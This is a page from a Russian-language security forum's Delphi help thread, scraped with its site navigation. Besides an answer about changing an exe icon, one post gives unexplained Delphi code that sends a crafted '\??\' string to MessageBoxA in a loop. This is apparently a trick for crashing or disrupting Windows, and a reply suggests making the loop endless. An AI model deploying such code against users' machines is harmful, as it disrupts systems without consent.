HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > ПРОГРАММИРОВАНИЕ > С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby
Перезагрузить страницу Как сделать через Delphi
   
Ответ
Страница 3 из 3 < 1 2 3
 
Опции темы Поиск в этой теме Опции просмотра

  #21  
Старый 16.03.2009, 22:09
Scripter
Участник форума
Регистрация: 03.09.2008
Сообщений: 155
Провел на форуме:
1201665

Репутация: 236
По умолчанию
тс заставляет перепечатывать книгу на форуме
вопрос за вопросом, глава за главой, раздел за разделом...
 
Ответить с цитированием

  #22  
Старый 17.03.2009, 06:30
RumShun
Постоянный
Регистрация: 27.10.2008
Сообщений: 380
Провел на форуме:
1249808

Репутация: 149
Отправить сообщение для RumShun с помощью ICQ
По умолчанию
Цитата:
Как заменить ICO в "exe" файле?
Project->Options...->Application->Load icon
 
Ответить с цитированием

  #23  
Старый 17.03.2009, 07:13
BlackSun
Познавший АНТИЧАТ
Регистрация: 01.04.2007
Сообщений: 1,268
Провел на форуме:
10046345

Репутация: 4589


По умолчанию
Код:
program Msg;

{$IMAGEBASE $200}

procedure MessageBox(Wnd: Integer; Text: PChar; Caption: PChar; Typ: Integer); stdcall;
  external 'user32.dll' name 'MessageBoxA';

var
  Bug: PChar;
  I: Integer;
begin
  Bug := Char($5C) + Char($3F) + Char($3F) + Char($5C) + Char($21) + Char($21) + Char($21) + Char($00);
  for i := 0 to 50 do
    MessageBox(0, Bug, Bug, $20000);
end.
 
Ответить с цитированием

  #24  
Старый 17.03.2009, 15:35
][yZ
Познающий
Регистрация: 03.03.2009
Сообщений: 62
Провел на форуме:
1776253

Репутация: 106
По умолчанию
Цитата:
Сообщение от BlackSun  
Код:
  for i := 0 to 50 do
а почему же не while true do ???
 
Ответить с цитированием
Ответ
Страница 3 из 3 < 1 2 3



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
F.A.Q по Пранку Nightmarе Статьи 43 28.03.2010 10:55
Как стать админом ICQ (c) yarrak InfernoNet Болталка 77 06.08.2009 15:15
Как сделать сниффер??? Помогите!!! GooF PHP 13 25.05.2005 05:18



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ